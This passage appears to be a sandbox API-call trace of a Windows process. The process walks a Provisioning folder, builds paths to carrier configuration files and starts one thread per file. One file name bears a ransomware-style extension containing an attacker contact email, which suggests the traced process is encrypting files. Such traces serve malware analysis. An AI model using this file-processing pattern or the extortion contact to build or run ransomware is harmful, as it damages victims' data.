_String2="..") returned 1 [0178.001] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fa5b78 [0178.001] wcscpy (in: _Dest=0x2fa5b78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.002] wcscat (in: _Dest=0x2fa5b78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.002] wcscat (in: _Dest=0x2fa5b78, _Source="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" [0178.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0178.002] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", cAlternateFileName="219__C~1.PRO")) returned 1 [0178.002] wcscmp (_String1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.002] wcscmp (_String1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fa5a30 [0178.002] wcscpy (in: _Dest=0x2fa5a30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.002] wcscat (in: _Dest=0x2fa5a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.002] wcscat (in: _Dest=0x2fa5a30, _Source="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" [0178.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0178.003] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="21__CO~1.PRO")) returned 1 [0178.003] wcscmp (_String1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.003] wcscmp (_String1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.003] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x305e828 [0178.003] wcscpy (in: _Dest=0x305e828, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.003] wcscat (in: _Dest=0x305e828, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.003] wcscat (in: _Dest=0x305e828, _Source="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" [0178.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0178.004] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="220__C~1.PRO")) returned 1 [0178.004] wcscmp (_String1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.004] wcscmp (_String1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x305e978 [0178.004] wcscpy (in: _Dest=0x305e978, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.004] wcscat (in: _Dest=0x305e978, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.004] wcscat (in: _Dest=0x305e978, _Source="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" [0178.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0178.005] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x312, dwReserved0=0x0, dwReserved1=0x0, cFileName="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="221__C~1.PRO")) returned 1 [0178.005] wcscmp (_String1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.005] wcscmp (_String1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x305eae0 [0178.005] wcscpy (in: _Dest=0x305eae0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.005] wcscat (in: _Dest=0x305eae0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.005] wcscat (in: _Dest=0x305eae0, _Source="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" [0178.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305eae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0178.006] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8eb3c825, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="222__C~1.D0E")) returned 1 [0178.006] wcscmp (_String1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0178.006] wcscmp (_String1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0178.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x180) returned 0x2fe3350 [0178.006] wcscpy (in: _Dest=0x2fe3350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.006] wcscat (in: _Dest=0x2fe3350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.006] wcscat (in: _Dest=0x2fe3350, _Source="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0178.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0178.007] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="223__C~1.PRO")) returned 1 [0178.007] wcscmp (_String1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.007] wcscmp (_String1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa61e0 [0178.007] wcscpy (in: _Dest=0x2fa61e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.007] wcscat (in: _Dest=0x2fa61e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.007] wcscat (in: _Dest=0x2fa61e0, _Source="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" [0178.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa61e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0178.008] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="224__C~1.PRO")) returned 1 [0178.008] wcscmp (_String1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.008] wcscmp (_String1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa5cc0 [0178.008] wcscpy (in: _Dest=0x2fa5cc0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.008] wcscat (in: _Dest=0x2fa5cc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.008] wcscat (in: _Dest=0x2fa5cc0, _Source="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" [0178.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0178.008] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", cAlternateFileName="225__C~1.PRO")) returned 1 [0178.021] wcscmp (_String1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.022] wcscmp (_String1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.022] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa58e8 [0178.022] wcscpy (in: _Dest=0x2fa58e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.022] wcscat (in: _Dest=0x2fa58e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.022] wcscat (in: _Dest=0x2fa58e8, _Source="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" [0178.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa58e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0178.022] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="226__C~1.PRO")) returned 1 [0178.022] wcscmp (_String1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.022] wcscmp (_String1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.022] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2ff02a8 [0178.022] wcscpy (in: _Dest=0x2ff02a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.023] wcscat (in: _Dest=0x2ff02a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.023] wcscat (in: _Dest=0x2ff02a8, _Source="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" [0178.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff02a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0178.023] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="227__C~1.PRO")) returned 1 [0178.023] wcscmp (_String1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.023] wcscmp (_String1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fefaf8 [0178.023] wcscpy (in: _Dest=0x2fefaf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.023] wcscat (in: _Dest=0x2fefaf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.024] wcscat (in: _Dest=0x2fefaf8, _Source="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" [0178.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fefaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0178.024] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, 